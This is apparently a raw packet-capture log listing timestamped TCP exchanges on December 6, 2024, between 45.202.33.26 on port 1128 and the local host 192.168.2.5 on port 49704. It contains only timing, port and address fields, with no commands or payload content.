Dec 6, 2024 14:19:42.684673071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.684811115 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.684855938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.685661077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.685770988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.685817957 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.686639071 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.686745882 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.686790943 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.687627077 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.687741995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.687784910 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.688623905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.688716888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.688760042 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.689650059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.689729929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.689773083 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.690598011 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.690697908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.690738916 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.691616058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.691745043 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.691788912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.692547083 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.692845106 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.692887068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.693578959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.693670988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.693712950 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.694567919 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.694715023 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.694757938 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.695605040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.695704937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.695745945 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.696537971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.696681976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.696721077 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.697547913 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.697623968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.697670937 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.698529959 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.698656082 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.698695898 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.699541092 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.699671984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.699714899 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.700534105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.700699091 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.700769901 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.701488018 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.701581955 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.701621056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.702531099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.702647924 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.702683926 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.703744888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.703866005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.703906059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.704499960 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.704608917 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.704644918 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.705514908 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.705719948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.705764055 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.706453085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.706510067 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.706549883 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.730513096 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.730751038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.730804920 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.731969118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.732161045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.732177973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.732237101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.732240915 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.732296944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.732868910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.774712086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.850260019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.850382090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.850444078 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.850651979 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.850774050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.850944996 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.851461887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.851576090 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.851618052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.852441072 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.852643967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.852685928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.853420019 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.854072094 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.854110956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.854434967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.854496956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.854537010 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.855407953 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.855542898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.855587959 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.856450081 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.856564045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.856601954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.857398033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.857497931 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.857538939 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.858355045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.858513117 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.858556986 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.859354973 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.859476089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.859520912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.860340118 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.860465050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.860505104 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.861377954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.861593008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.861633062 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.862354040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.862591028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.862629890 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.863317966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.863475084 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.863517046 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.864300966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.864367008 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.864403963 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.865340948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.865500927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.865540981 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.866336107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.866477966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.866514921 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.867301941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.867420912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.867460966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.868375063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.868500948 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.868541956 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.869244099 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.869421005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.869457960 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.870244026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.870369911 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.870409012 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.871270895 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.871463060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.871505022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.872266054 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.872419119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.872458935 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.873326063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.873471022 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.873509884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.874265909 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.874389887 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.874430895 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.875200987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.875308037 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.875354052 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.876224041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.876327038 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.876369953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.877212048 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.877281904 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.877322912 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.878160954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.878433943 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.878473997 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.879159927 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.879271984 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.879318953 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.880278111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.880343914 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.880387068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.881175995 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.881289005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.881323099 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.882117987 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.882241964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.882277966 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.883104086 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.883244991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.883281946 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.884260893 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.884557962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.884602070 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.885138988 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.885260105 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.885304928 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.886116028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.886224031 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.886264086 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.887075901 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.887223005 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.887269974 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.888065100 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.888139009 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.888181925 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.889101028 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.889230013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.889275074 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.890162945 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.890304089 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.890346050 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.891041040 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.891182899 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.891220093 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.892020941 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.892117977 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.892154932 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.893054962 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.893153906 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.893194914 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.894082069 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.894294024 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.894329071 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.895174026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.895237923 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.895279884 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.896011114 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.896107912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.896146059 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.896967888 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.897085905 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.897130013 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.897979021 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.898063898 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.898103952 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.922374964 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.922482967 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.922523975 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.922832966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.922956944 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.922996998 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.923831940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.923989058 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.924030066 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:42.924757957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:42.977844954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.042346954 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.042376041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.042429924 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.042624950 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.042673111 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.042715073 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.043642998 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.043767929 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.043813944 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.044559956 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.044632912 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.044675112 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.045617104 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.045691013 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.045737028 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.046582937 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.046710968 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.046751022 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.047579050 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.047665119 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.047705889 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.048508883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.048624992 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.048661947 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.049527884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.049612045 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.049654961 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.050496101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.050616980 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.050662041 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.051480055 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.051605940 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.051640987 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.052481890 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.052591085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.052634954 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.053590059 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.053659916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.053704023 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.054478884 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.054599047 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.054636955 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.055437088 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.055636883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.055682898 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.056417942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.056550026 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.056610107 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.057476997 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.057560921 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.057599068 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.058619976 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.058717966 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.058765888 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.059669971 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.059735060 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.059778929 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.060491085 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.060662985 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.060702085 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.061384916 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.061459064 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.061497927 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.062407017 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.062530041 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.062570095 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.063405991 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.063461065 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.063503027 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.064347982 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.064524889 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.064572096 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.065327883 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.065470934 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.065511942 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.066330910 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.066476107 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.066523075 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.067348957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.067400932 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.067441940 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.068285942 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.068423033 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.068475962 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.069323063 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.069525957 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.069567919 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.070436001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.070647001 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.070687056 CET	49704	1128	192.168.2.5	45.202.33.26
Dec 6, 2024 14:19:43.071458101 CET	1128	49704	45.202.33.26	192.168.2.5
Dec 6, 2024 14:19:43.071532011 CET	1128	49704	45.202.33.26	192.168.2.5
